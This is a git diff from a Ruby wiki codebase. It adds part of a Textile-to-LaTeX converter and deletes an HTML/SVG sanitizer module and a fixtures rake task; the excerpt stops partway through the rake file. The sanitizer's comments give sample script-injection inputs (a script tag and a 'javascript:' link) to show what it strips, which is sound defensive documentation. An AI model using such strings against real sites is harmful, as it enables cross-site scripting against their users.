+        '^' => 'top',
+        '-' => 'middle',
+        '~' => 'bottom'
+  }
+  
+  QTAGS = [
+  ['**', 'bf'],
+  ['*', 'bf'],
+  ['??', 'cite'],
+  ['-', 'del'],
+  ['__', 'underline'],
+  ['_', 'em'],
+  ['%', 'span'],
+  ['+', 'ins'],
+  ['^', 'sup'],
+  ['~', 'sub']
+  ]
+  
+  def self.available?
+    if not defined? @@available 
+      begin 
+        @@available = system "pdflatex -version"
+      rescue Errno::ENOENT
+        @@available = false
+      end
+    end
+    @@available
+  end
+  
+  #
+  # Two accessor for setting security restrictions.
+  #
+  # This is a nice thing if you're using RedCloth for
+  # formatting in public places (e.g. Wikis) where you
+  # don't want users to abuse HTML for bad things.
+  #
+  # If +:filter_html+ is set, HTML which wasn't
+  # created by the Textile processor will be escaped.
+  #
+  # If +:filter_styles+ is set, it will also disable
+  # the style markup specifier. ('{color: red}')
+  #
+  attr_accessor :filter_html, :filter_styles
+  
+  #
+  # Accessor for toggling line folding.
+  #
+  # If +:fold_lines+ is set, single newlines will
+  # not be converted to break tags.
+  #
+  attr_accessor :fold_lines
+  
+  def initialize( string, restrictions = [] )
+    restrictions.each { |r| method( "#{ r }=" ).call( true ) }
+    super( string )
+  end
+  
+  #
+  # Generate tex.
+  #
+  def to_tex( lite = false )
+    
+    # make our working copy
+    text = self.dup
+    
+    @urlrefs = {}
+    @shelf = []
+    
+    # incoming_entities text 
+    fix_entities text 
+    clean_white_space text 
+    
+    get_refs text 
+    
+    no_textile text 
+    
+    unless lite
+      lists text
+      table text
+    end
+    
+    glyphs text
+    
+    unless lite
+      fold text
+      block text
+    end
+    
+    retrieve text
+    encode_entities text 
+    
+    text.gsub!(/\[\[(.*?)\]\]/, "\\1")
+    text.gsub!(/_/, "\\_")
+    text.gsub!( /<\/?notextile>/, '' )
+    # text.gsub!( /x%x%/, '&#38;' )
+    # text.gsub!( /<br \/>/, "<br />\n" )
+    text.strip!
+    text
+    
+  end
+  
+  def pgl( text )
+    GLYPHS.each do |re, resub|
+      text.gsub! re, resub
+    end
+  end
+  
+  def pba( text_in, element = "" )
+    
+    return '' unless text_in
+    
+    style = []
+    text = text_in.dup
+    if element == 'td'
+      colspan = $1 if text =~ /\\(\d+)/
+      rowspan = $1 if text =~ /\/(\d+)/
+      style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN
+    end
+    
+    style << "#{ $1 };" if not @filter_styles and
+    text.sub!( /\{([^}]*)\}/, '' )
+    
+    lang = $1 if
+    text.sub!( /\[([^)]+?)\]/, '' )
+    
+    cls = $1 if
+    text.sub!( /\(([^()]+?)\)/, '' )
+    
+    style << "padding-left:#{ $1.length }em;" if
+    text.sub!( /([(]+)/, '' )
+    
+    style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' )
+    
+    style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN
+    
+    cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/
+    
+    atts = ''
+    atts << " style=\"#{ style.join }\"" unless style.empty?
+    atts << " class=\"#{ cls }\"" unless cls.to_s.empty?
+    atts << " lang=\"#{ lang }\"" if lang
+    atts << " id=\"#{ id }\"" if id
+    atts << " colspan=\"#{ colspan }\"" if colspan
+    atts << " rowspan=\"#{ rowspan }\"" if rowspan
+    
+    atts
+  end
+  
+  def table( text ) 
+    text << "\n\n"
+    text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches|
+      
+      tatts, fullrow = $~[1..2]
+      tatts = pba( tatts, 'table' )
+      rows = []
+      
+      fullrow.
+      split( /\|$/m ).
+      delete_if { |x| x.empty? }.
+      each do |row|
+        
+        ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m
+        
+        cells = []
+        row.split( '|' ).each do |cell|
+          ctyp = 'd'
+          ctyp = 'h' if cell =~ /^_/
+          
+          catts = ''
+          catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/
+          
+          unless cell.strip.empty?
+            cells << "\t\t\t<t#{ ctyp }#{ catts }>#{ cell }</t#{ ctyp }>" 
+          end
+        end
+        rows << "\t\t<tr#{ ratts }>\n#{ cells.join( "\n" ) }\n\t\t</tr>"
+      end
+            "\t<table#{ tatts }>\n#{ rows.join( "\n" ) }\n\t</table>\n\n"
+    end
+  end
+  
+  def lists( text ) 
+    text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match|
+      lines = match.split( /\n/ )
+      last_line = -1
+      depth = []
+      lines.each_with_index do |line, line_id|
+        if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m
+          tl,atts,content = $~[1..3]
+          if depth.last
+            if depth.last.length > tl.length
+             (depth.length - 1).downto(0) do |i|
+                break if depth[i].length == tl.length
+                lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
+                depth.pop
+              end
+            end
+            if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
+              lines[line_id - 1] << ''
+            end
+          end
+          unless depth.last == tl
+            depth << tl
+            atts = pba( atts )
+            lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }"
+          else
+            lines[line_id] = "\t\t\\item #{ content }"
+          end
+          last_line = line_id
+          
+        elsif line =~ /^\s+\S/
+          last_line = line_id
+        elsif line_id - last_line < 2 and line =~ /^\S/
+          last_line = line_id
+        end
+        if line_id - last_line > 1 or line_id == lines.length - 1
+          depth.delete_if do |v|
+            lines[last_line] << "\n\t\\end{#{ lT( v ) }}"
+          end
+        end
+      end
+      lines.join( "\n" )
+    end
+  end
+  
+  def lT( text ) 
+    text =~ /\#$/ ? 'enumerate' : 'itemize'
+  end
+  
+  def fold( text )
+    text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" )
+    # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '<br />' }" )
+  end
+  
+  def block( text ) 
+    pre = false
+    find = ['bq','h[1-6]','fn\d+']
+    
+    regexp_cue = []
+    
+    lines = text.split( /\n/ ) + [' '] 
+    new_text = 
+    lines.collect do |line|
+      pre = true if line =~ /<(pre|notextile)>/i
+      find.each do |tag|
+        line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m|
+          tag,atts,cite,content = $~[1..4]
+          
+          atts = pba( atts )
+          
+          if tag =~ /fn(\d+)/
+            # tag = 'p';
+            # atts << " id=\"fn#{ $1 }\""
+            regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ]
+            content = ""
+          end
+          
+          if tag =~ /h([1-6])/
+            section_type = "sub" * [$1.to_i - 1, 2].min
+            start = "\t\\#{section_type}section*{"
+            tend = "}"                        
+          end
+          
+          if tag == "bq"
+            cite = check_refs( cite )
+            cite = " cite=\"#{ cite }\"" if cite
+            start = "\t\\begin{quotation}\n\\noindent {\\em ";
+            tend = "}\n\t\\end{quotation}";
+          end
+          
+                    "#{ start }#{ content }#{ tend }"
+        end unless pre
+      end
+      
+      #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t<p>\\1</p>" )
+      
+      #line.gsub!( "<br />", "\n" ) if pre
+      # pre = false if line =~ /<\/(pre|notextile)>/i
+      
+      line
+      end.join( "\n" )
+      text.replace( new_text )
+      regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) }
+    end
+    
+    def span( text ) 
+      QTAGS.each do |tt, ht|
+        ttr = Regexp::quote( tt )
+        text.gsub!( 
+                   
+                   /(^|\s|\>|[#{PUNCT}{(\[])
+                     #{ttr}
+                      (#{C})
+                       (?::(\S+?))?
+                        ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?)
+                         ([#{PUNCT}]*?)
+                         #{ttr}
+                          (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm 
+      
+      ) do |m|
+        
+        start,atts,cite,content,tend = $~[1..5]
+        atts = pba( atts )
+        atts << " cite=\"#{ cite }\"" if cite
+        
+                "#{ start }{\\#{ ht } #{ content }#{ tend }}"
+        
+      end
+    end
+  end
+  
+  def links( text ) 
+    text.gsub!( /
+     ([\s\[{(]|[#{PUNCT}])?     # $pre
+            "                          # start
+            (#{C})                     # $atts
+            ([^"]+?)                   # $text
+      \s?
+       (?:\(([^)]+?)\)(?="))?     # $title
+            ":
+                        (\S+?)                     # $url
+                         (\/)?                      # $slash
+                          ([^\w\/;]*?)               # $post
+                           (?=\s|$)
+      /x ) do |m|
+        pre,atts,text,title,url,slash,post = $~[1..7]
+
+        url.gsub!(/(\\)(.)/, '\2')
+        url = check_refs( url )
+        
+        atts = pba( atts )
+        atts << " title=\"#{ title }\"" if title
+        atts = shelve( atts ) if atts
+        
+        "#{ pre }\\textit{#{ text }} \\footnote{\\texttt{\\textless #{ url }#{ slash }" + 
+            "\\textgreater}#{ post }}"
+      end
+    end
+    
+    def get_refs( text ) 
+      text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m|
+        flag, url = $~[1..2]
+        @urlrefs[flag] = url
+      end
+    end
+    
+    def check_refs( text ) 
+      @urlrefs[text] || text
+    end
+    
+    def image( text ) 
+      text.gsub!( /
+                 \!                   # opening
+                  (\<|\=|\>)?          # optional alignment atts
+                   (#{C})               # optional style,class atts
+                    (?:\. )?             # optional dot-space
+                     ([^\s(!]+?)          # presume this is the src
+      \s?                  # optional space
+       (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))?   # optional title
+      \!                   # closing
+       (?::#{ HYPERLINK })? # optional href
+       /x ) do |m|
+        algn,atts,url,title,href,href_a1,href_a2 = $~[1..7]
+        atts = pba( atts )
+        atts << " align=\"#{ i_align( algn ) }\"" if algn
+        atts << " title=\"#{ title }\"" if title
+        atts << " alt=\"#{ title }\"" 
+        # size = @getimagesize($url);
+        # if($size) $atts.= " $size[3]";
+        
+        href = check_refs( href ) if href
+        url = check_refs( url )
+        
+        out = ''
+        out << "<a href=\"#{ href }\">" if href
+        out << "<img src=\"#{ url }\"#{ atts } />"
+        out << "</a>#{ href_a1 }#{ href_a2 }" if href
+        
+        out
+      end
+    end
+    
+    def code( text ) 
+      text.gsub!( /
+       (?:^|([\s\(\[{]))                # 1 open bracket?
+        @                                # opening
+         (?:\|(\w+?)\|)?                  # 2 language
+          (\S(?:[^\n]|\n(?!\n))*?)         # 3 code
+        @                                # closing
+         (?:$|([\]})])|
+          (?=[#{PUNCT}]{1,2}|
+          \s))                             # 4 closing bracket?
+      /x ) do |m|
+        before,lang,code,after = $~[1..4]
+        lang = " language=\"#{ lang }\"" if lang
+            "#{ before }<code#{ lang }>#{ code }</code>#{ after }"
+      end
+    end
+    
+    def shelve( val ) 
+      @shelf << val
+        " <#{ @shelf.length }>"
+    end
+    
+    def retrieve( text ) 
+      @shelf.each_with_index do |r, i|
+        text.gsub!( " <#{ i + 1 }>", r )
+      end
+    end
+    
+    def incoming_entities( text ) 
+      ## turn any incoming ampersands into a dummy character for now.
+      ## This uses a negative lookahead for alphanumerics followed by a semicolon,
+      ## implying an incoming html entity, to be skipped
+      
+      text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" )
+    end
+    
+    def encode_entities( text ) 
+      ## Convert high and low ascii to entities.
+      #  if $-K == "UTF-8"  
+      #      encode_high( text )
+      #  else
+      text.texesc!( :NoQuotes )
+      #  end
+    end
+    
+    def fix_entities( text )
+      ## de-entify any remaining angle brackets or ampersands
+      text.gsub!( "\&", "&" )
+      text.gsub!( "\%", "%" )
+    end
+    
+    def clean_white_space( text ) 
+      text.gsub!( /\r\n/, "\n" )
+      text.gsub!( /\t/, '' )
+      text.gsub!( /\n{3,}/, "\n\n" )
+      text.gsub!( /\n *\n/, "\n\n" )
+      text.gsub!( /"$/, "\" " )
+    end
+    
+    def no_textile( text ) 
+      text.gsub!( /(^|\s)==(.*?)==(\s|$)?/,
+            '\1<notextile>\2</notextile>\3' )
+    end
+    
+    def footnote_ref( text ) 
+      text.gsub!( /\[([0-9]+?)\](\s)?/,
+            '\footnote{\1}\2')
+      #'<sup><a href="#fn\1">\1</a></sup>\2' )
+    end
+    
+    def inline( text )
+      image text 
+      links text 
+      code text 
+      span text
+    end
+    
+    def glyphs_deep( text )
+      codepre = 0
+      offtags = /(?:code|pre|kbd|notextile)/
+      if text !~ /<.*>/
+        # pgl text
+        footnote_ref text
+      else
+        used_offtags = {}
+        text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line|
+          tagline = ( line =~ /^<.*>/ )
+          
+          ## matches are off if we're between <code>, <pre> etc.
+          if tagline
+            if line =~ /<(#{ offtags })>/i
+              codepre += 1
+              used_offtags[$1] = true
+              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
+            elsif line =~ /<\/(#{ offtags })>/i
+              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
+              codepre -= 1 unless codepre.zero?
+              used_offtags = {} if codepre.zero?
+            elsif @filter_html or codepre > 0
+              line.texesc!( :NoQuotes )
+              ## line.gsub!( /&lt;(\/?#{ offtags })&gt;/, '<\1>' )
+            end 
+            ## do htmlspecial if between <code>
+          elsif codepre > 0
+            line.texesc!( :NoQuotes )
+            ## line.gsub!( /&lt;(\/?#{ offtags })&gt;/, '<\1>' )
+          elsif not tagline
+            inline line
+            glyphs_deep line
+          end
+          
+          line
+        end
+      end
+    end
+    
+    def glyphs( text ) 
+      text.gsub!( /"\z/, "\" " )
+      ## if no html, do a simple search and replace...
+      if text !~ /<.*>/
+        inline text
+      end
+      glyphs_deep text
+    end
+    
+    def i_align( text )
+      I_ALGN_VALS[text]
+    end
+    
+    def h_align( text ) 
+      H_ALGN_VALS[text]
+    end
+    
+    def v_align( text ) 
+      V_ALGN_VALS[text]
+    end
+    
+    def encode_high( text )
+      ## mb_encode_numericentity($text, $cmap, $charset);
+    end
+    
+    def decode_high( text )
+      ## mb_decode_numericentity($text, $cmap, $charset);
+    end
+    
+    def textile_popup_help( name, helpvar, windowW, windowH )
+        ' <a target="_blank" href="http://www.textpattern.com/help/?item=' + helpvar + '" onclick="window.open(this.href, \'popupwindow\', \'width=' + windowW + ',height=' + windowH + ',scrollbars,resizable\'); return false;">' + name + '</a><br />'
+    end
+    
+    CMAP = [
+    160,  255,  0, 0xffff,
+    402,  402,  0, 0xffff,
+    913,  929,  0, 0xffff,
+    931,  937,  0, 0xffff,
+    945,  969,  0, 0xffff,
+    977,  978,  0, 0xffff, 
+    982,  982,  0, 0xffff,
+    8226, 8226, 0, 0xffff,
+    8230, 8230, 0, 0xffff,
+    8242, 8243, 0, 0xffff,
+    8254, 8254, 0, 0xffff,
+    8260, 8260, 0, 0xffff,
+    8465, 8465, 0, 0xffff,
+    8472, 8472, 0, 0xffff,
+    8476, 8476, 0, 0xffff,
+    8482, 8482, 0, 0xffff,
+    8501, 8501, 0, 0xffff,
+    8592, 8596, 0, 0xffff,
+    8629, 8629, 0, 0xffff,
+    8656, 8660, 0, 0xffff,
+    8704, 8704, 0, 0xffff,
+    8706, 8707, 0, 0xffff,
+    8709, 8709, 0, 0xffff,
+    8711, 8713, 0, 0xffff,
+    8715, 8715, 0, 0xffff,
+    8719, 8719, 0, 0xffff,
+    8721, 8722, 0, 0xffff,
+    8727, 8727, 0, 0xffff,
+    8730, 8730, 0, 0xffff,
+    8733, 8734, 0, 0xffff,
+    8736, 8736, 0, 0xffff,
+    8743, 8747, 0, 0xffff,
+    8756, 8756, 0, 0xffff,
+    8764, 8764, 0, 0xffff,
+    8773, 8773, 0, 0xffff,
+    8776, 8776, 0, 0xffff,
+    8800, 8801, 0, 0xffff,
+    8804, 8805, 0, 0xffff,
+    8834, 8836, 0, 0xffff,
+    8838, 8839, 0, 0xffff,
+    8853, 8853, 0, 0xffff,
+    8855, 8855, 0, 0xffff,
+    8869, 8869, 0, 0xffff,
+    8901, 8901, 0, 0xffff,
+    8968, 8971, 0, 0xffff,
+    9001, 9002, 0, 0xffff,
+    9674, 9674, 0, 0xffff,
+    9824, 9824, 0, 0xffff,
+    9827, 9827, 0, 0xffff,
+    9829, 9830, 0, 0xffff,
+    338,  339,  0, 0xffff,
+    352,  353,  0, 0xffff,
+    376,  376,  0, 0xffff, 
+    710,  710,  0, 0xffff,
+    732,  732,  0, 0xffff,
+    8194, 8195, 0, 0xffff,
+    8201, 8201, 0, 0xffff,
+    8204, 8207, 0, 0xffff,
+    8211, 8212, 0, 0xffff,
+    8216, 8218, 0, 0xffff,
+    8218, 8218, 0, 0xffff,
+    8220, 8222, 0, 0xffff,
+    8224, 8225, 0, 0xffff,
+    8240, 8240, 0, 0xffff,
+    8249, 8250, 0, 0xffff,
+    8364, 8364, 0, 0xffff
+    ]
+  end
diff --git a/lib/sanitizer.rb b/lib/sanitizer.rb
deleted file mode 100644
index 58166936..00000000
--- a/lib/sanitizer.rb
+++ /dev/null
@@ -1,237 +0,0 @@
-module Sanitizer
-
-# This module provides sanitization of XHTML+MathML+SVG
-# and of inline style attributes.
-#
-# Based heavily on Sam Ruby's code in the Universal FeedParser.
-
-  require 'action_controller/vendor/html-scanner/html/tokenizer'
-  require 'node'
-  require 'instiki_stringsupport'
-  require 'set'
-  require 'nokogiri'
-
-  acceptable_elements = Set.new %w[a abbr acronym address area article aside
-      audio b big blockquote br button canvas caption center cite code
-      col colgroup command datalist dd del details dfn dialog dir div dl dt
-      em fieldset figcaption figure font footer form h1 h2 h3 h4 h5 h6 header
-      hgroup hr i img input ins kbd label legend li map mark menu meter nav
-      ol optgroup option p pre progress q rp rt ruby s samp section select small
-      source span strike strong sub summary sup table tbody td textarea tfoot
-      th thead time tr tt u ul var video wbr]
-      
-  mathml_elements = Set.new %w[annotation annotation-xml maction math menclose merror
-      mfrac mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot
-      mrow mspace msqrt mstyle msub msubsup msup mtable mtd mtext mtr munder
-      munderover none semantics]
-      
-  svg_elements = Set.new %w[a animate animateColor animateMotion animateTransform
-      circle clipPath defs desc ellipse feGaussianBlur filter font-face
-      font-face-name font-face-src foreignObject g glyph hkern linearGradient
-      line marker mask metadata missing-glyph mpath path pattern polygon
-      polyline radialGradient rect set stop svg switch text textPath title tspan use]
-      
-  acceptable_attributes = Set.new %w[abbr accept accept-charset accesskey action
-      align alt autocomplete axis bgcolor border cellpadding cellspacing char charoff
-      checked cite class clear cols colspan color compact contenteditable contextmenu
-      controls coords datetime dir disabled draggable enctype face for formaction frame
-      headers height high href hreflang hspace icon id ismap label list lang longdesc
-      loop low max maxlength media method min multiple name nohref noshade nowrap open
-      optimumpattern placeholder poster preload pubdate radiogroup readonly rel
-      required rev reversed rows rowspan rules spellcheck scope
-      selected shape size span src start step style summary tabindex target title
-      type usemap valign value vspace width wrap xml:lang]
-
-  mathml_attributes = Set.new %w[actiontype align close
-      columnalign columnlines columnspacing columnspan depth display
-      displaystyle encoding equalcolumns equalrows fence fontstyle fontweight
-      frame height linethickness lspace mathbackground mathcolor mathvariant
-      maxsize minsize notation open other rowalign
-      rowlines rowspacing rowspan rspace scriptlevel selection separator
-      separators stretchy width voffset xlink:href xlink:show xlink:type xmlns
-      xmlns:xlink]
-
-  svg_attributes = Set.new %w[accent-height accumulate additive alphabetic
-       arabic-form ascent attributeName attributeType baseProfile bbox begin
-       by calcMode cap-height class clip-path clip-rule color
-       color-interpolation-filters color-rendering
-       content cx cy d dx dy descent display dur end fill fill-opacity fill-rule
-       filterRes filterUnits font-family font-size font-stretch font-style
-       font-variant font-weight from fx fy g1 g2 glyph-name gradientUnits
-       hanging height horiz-adv-x horiz-origin-x id ideographic k keyPoints
-       keySplines keyTimes lang marker-end marker-mid marker-start
-       markerHeight markerUnits markerWidth maskContentUnits maskUnits
-       mathematical max method min name offset opacity orient origin
-       overline-position overline-thickness panose-1 path pathLength
-       patternContentUnits patternTransform patternUnits points
-       preserveAspectRatio primitiveUnits r refX refY repeatCount repeatDur
-       requiredExtensions requiredFeatures restart rotate rx ry se:connector
-       se:nonce slope spacing
-       startOffset stdDeviation stemh stemv stop-color stop-opacity
-       strikethrough-position strikethrough-thickness stroke stroke-dasharray
-       stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit
-       stroke-opacity stroke-width systemLanguage target text-anchor
-       to transform type u1 u2 underline-position underline-thickness
-       unicode unicode-range units-per-em values version viewBox
-       visibility width widths x x-height x1 x2 xlink:actuate
-       xlink:arcrole xlink:href xlink:role xlink:show xlink:title xlink:type
-       xml:base xml:lang xml:space xmlns xmlns:xlink xmlns:se y y1 y2 zoomAndPan]
-       
-  attr_val_is_uri = Set.new %w[href src cite action formaction longdesc xlink:href xml:base]
-  
-  svg_attr_val_allows_ref = Set.new %w[clip-path color-profile cursor fill
-      filter marker marker-start marker-mid marker-end mask stroke]
-
-  svg_allow_local_href = Set.new %w[altGlyph animate animateColor animateMotion
-      animateTransform cursor feImage filter linearGradient pattern
-      radialGradient textpath tref set use]
-    
-  acceptable_css_properties = Set.new %w[azimuth background-color
-      border-bottom-color border-collapse border-color border-left-color
-      border-right-color border-top-color clear color cursor direction
-      display elevation float font font-family font-size font-style
-      font-variant font-weight height letter-spacing line-height overflow
-      pause pause-after pause-before pitch pitch-range richness speak
-      speak-header speak-numeral speak-punctuation speech-rate stress
-      text-align text-decoration text-indent unicode-bidi vertical-align
-      voice-family volume white-space width]
-
-  acceptable_css_keywords = Set.new %w[auto aqua black block blue bold both bottom
-      brown center collapse dashed dotted fuchsia gray green !important
-      italic left lime maroon medium none navy normal nowrap olive pointer
-      purple red right solid silver teal top transparent underline white
-      yellow]
-
-  acceptable_svg_properties = Set.new %w[fill fill-opacity fill-rule stroke
-      stroke-width stroke-linecap stroke-linejoin stroke-opacity]
-      
-  acceptable_protocols = Set.new %w[ed2k ftp http https irc mailto news gopher nntp
-      telnet webcal xmpp callto feed urn aim rsync tag ssh sftp rtsp afs]
-      
-      SHORTHAND_CSS_PROPERTIES = Set.new %w[background border margin padding]
-      VOID_ELEMENTS = Set.new %w[img br hr link meta area base basefont 
-                    col frame input isindex param]
-
-      ALLOWED_ELEMENTS = acceptable_elements + mathml_elements + svg_elements  unless defined?(ALLOWED_ELEMENTS)
-      ALLOWED_ATTRIBUTES = acceptable_attributes + mathml_attributes + svg_attributes unless defined?(ALLOWED_ATTRIBUTES)
-      ALLOWED_CSS_PROPERTIES = acceptable_css_properties unless defined?(ALLOWED_CSS_PROPERTIES)
-      ALLOWED_CSS_KEYWORDS = acceptable_css_keywords unless defined?(ALLOWED_CSS_KEYWORDS)
-      ALLOWED_SVG_PROPERTIES = acceptable_svg_properties unless defined?(ALLOWED_SVG_PROPERTIES)
-      ALLOWED_PROTOCOLS = acceptable_protocols unless defined?(ALLOWED_PROTOCOLS)
-      ATTR_VAL_IS_URI = attr_val_is_uri unless defined?(ATTR_VAL_IS_URI)
-      SVG_ATTR_VAL_ALLOWS_REF = svg_attr_val_allows_ref unless defined?(SVG_ATTR_VAL_ALLOWS_REF)
-      SVG_ALLOW_LOCAL_HREF = svg_allow_local_href unless defined?(SVG_ALLOW_LOCAL_HREF)
-
-      # Sanitize the +html+, escaping all elements not in ALLOWED_ELEMENTS, and stripping out all
-      # attributes not in ALLOWED_ATTRIBUTES. Style attributes are parsed, and a restricted set,
-      # specified by ALLOWED_CSS_PROPERTIES and ALLOWED_CSS_KEYWORDS, are allowed through.
-      # Attributes in ATTR_VAL_IS_URI are scanned, and only uri schemes specified in
-      # ALLOWED_PROTOCOLS are allowed.
-      # Certain SVG attributes (SVG_ATTR_VAL_ALLOWS_REF) may take a url as a value. These are restricted to
-      # fragment-id's (in-document references). Certain SVG elements (SVG_ALLOW_LOCAL_HREF) allow href attributes
-      # which, again, are restricted to be fragment-id's.
-      # 
-      # You can adjust what gets sanitized, by defining these constant arrays before this Module is loaded. 
-      #
-      #   xhtml_sanitize('<script> do_nasty_stuff() </script>')
-      #    => &lt;script> do_nasty_stuff() &lt;/script>
-      #   xhtml_sanitize('<a href="javascript: sucker();">Click here for $100</a>')
-      #    => <a>Click here for $100</a>
-      def xhtml_sanitize(html)
-        return html unless sanitizeable?(html)
-        tokenizer = HTML::Tokenizer.new(html.to_utf8)
-        results = []
-
-        while token = tokenizer.next
-          node = XHTML::Node.parse(nil, 0, 0, token, false)
-          results << case node.tag?
-            when true
-              if ALLOWED_ELEMENTS.include?(node.name)
-                process_attributes_for node
-                node.to_s
-              else
-                node.to_s.gsub(/</, "&lt;").gsub(/>/, "&gt;")
-              end
-            else
-              node.to_s.unescapeHTML.escapeHTML
-          end
-        end
-
-        results.join
-      end
-
-      def sanitizeable?(text)
-        !(text.nil? || text.empty? || !text.index("<"))
-      end
-
-  protected
-  
-    def process_attributes_for(node)
-      return unless node.attributes
-      node.attributes.each do |attr,val|
-        if String === val && ALLOWED_ATTRIBUTES.include?(attr)
-          val = val.unescapeHTML.escapeHTML
-        else
-          node.attributes.delete attr; next
-        end
-        if attr == 'xlink:href' && SVG_ALLOW_LOCAL_HREF.include?(node.name) && val =~ /^\s*[^#\s]/m
-          node.attributes.delete attr; next
-        end
-        if ATTR_VAL_IS_URI.include?(attr)
-          val_unescaped = val.unescapeHTML.as_bytes.gsub(/`|[\000-\040\177\s]+|\302[\200-\240]/,'').downcase
-          if val_unescaped =~ /^[a-z0-9][-+.a-z0-9]*:/ && !ALLOWED_PROTOCOLS.include?(val_unescaped.split(':')[0]) 
-            node.attributes.delete attr; next
-          end                        
-        end                     
-        val = val.to_s.gsub(/url\s*\(\s*[^#\s][^)]+?\)/mi, ' ') if SVG_ATTR_VAL_ALLOWS_REF.include?(attr)
-        val = sanitize_css(val) if attr == 'style'
-        node.attributes[attr] = val
-      end
-    end
-
-    def sanitize_css(style)
-      # disallow urls
-      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
-      # gauntlet
-      return '' unless style =~ /^([-:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*$/
-      return '' unless style =~ /^\s*([-\w]+\s*:[^:;]*(;\s*|$))*$/
-
-      clean = []
-      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop, val|
-        next if val.empty?
-        prop.downcase!
-        if self.class.const_get("ALLOWED_CSS_PROPERTIES").include?(prop)
-          clean << "#{prop}: #{val};"
-        elsif self.class.const_get("SHORTHAND_CSS_PROPERTIES").include?(prop.split('-')[0])
-          clean << "#{prop}: #{val};" unless val.split().any? do |keyword|
-            !self.class.const_get("ALLOWED_CSS_KEYWORDS").include?(keyword) and
-            keyword !~ /^(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)$/
-          end
-        elsif self.class.const_get("ALLOWED_SVG_PROPERTIES").include?(prop)
-          clean << "#{prop}: #{val};"
-        end
-      end
-
-      clean.join(' ')
-    end
-    
-# Sanitize a string, parsed using XHTML parsing rules. Reparse the result to
-#    ensure well-formedness. 
-#
-# :call-seq:
-#    safe_sanitize_xhtml(string)                    -> string
-#
-# Unless otherwise specified, the string is assumed to be utf-8 encoded.
-#
-# The string returned is utf-8 encoded. If you want, you can use iconv to convert it to some other encoding.
-# (REXML trees are always utf-8 encoded.)
-  def safe_xhtml_sanitize(html, options = {})
-    sanitized = xhtml_sanitize(html.purify)
-    doc = Nokogiri::XML::Document.parse("<div xmlns='http://www.w3.org/1999/xhtml'>#{sanitized}</div>", nil, (options[:encoding] || 'UTF-8'), 0)
-    sanitized = doc.root.children.to_xml(:indent => (options[:indent] || 2), :save_with => 2 )
-    rescue Nokogiri::XML::SyntaxError
-      sanitized = sanitized.escapeHTML
-  end 
-
-end
diff --git a/lib/tasks/fixtures.rake b/lib/tasks/fixtures.rake
deleted file mode 100644
index 47fece32..00000000
--- a/lib/tasks/fixtures.rake
+++ /dev/null
@@ -1,84 +0,0 @@
-require Rails.root.join('vendor', 'plugins', 'manage_fixtures', 'lib', 'manage_fixtures.rb')
-
-desc "use rake db:fixtures:export_using_query SQL=\"select * from foo where id='bar'\" FIXTURE_NAME=foo"
-namespace :db do  
-  namespace :fixtures do
-    task :export_using_query => :environment do
-      write_yaml_fixtures_to_file(ENV['SQL'], ENV['FIXTURE_NAME'])
-    end
-  end
-end
- 
-desc 'use rake db:fixtures:export_for_tables TABLES=foos[,bars,lands] Create YAML dump fixtures for a specific table(s) from data in an existing database. Defaults to development database. Set RAILS_ENV to override. ' 
-namespace :db do  
-  namespace :fixtures do
-    task :export_for_tables => :environment do 
-      sql = "SELECT * FROM %s" 
-      tables = ENV['TABLES'] 
-      ActiveRecord::Base.establish_connection 
-      tables.each do |table_name| 
-        write_yaml_fixtures_to_file(sql % table_name, table_name)
-      end 
-    end
-  end
-end 
- 
- 
-desc ' Create YAML dump fixtures from data in an existing database. Defaults to development database. Set RAILS_ENV to override. ' 
-namespace :db do  
-  namespace :fixtures do
-    task :export_all => :environment do 
-      sql = "SELECT * FROM %s" 
-      skip_tables = ["schema_info"] 
-      ActiveRecord::Base.establish_connection 
-      (ActiveRecord::Base.connection.tables - skip_tables).each do |table_name| 
-        i = "000" 
-        File.open(Rails.root.join('dump', 'fixtures', table_name + '.yml'), 'w' ) do |file| 
-          write_yaml_fixtures_to_file(sql % table_name, table_name)
-        end 
-      end 
-    end
-  end
-end 
-
-desc 'use rake db:fixtures:import_for_models MODELS=Foo[,Bar,Land] to import the YAML dump fixtures for a specific models from data in an existing database. Defaults to development database. Set RAILS_ENV to override. '
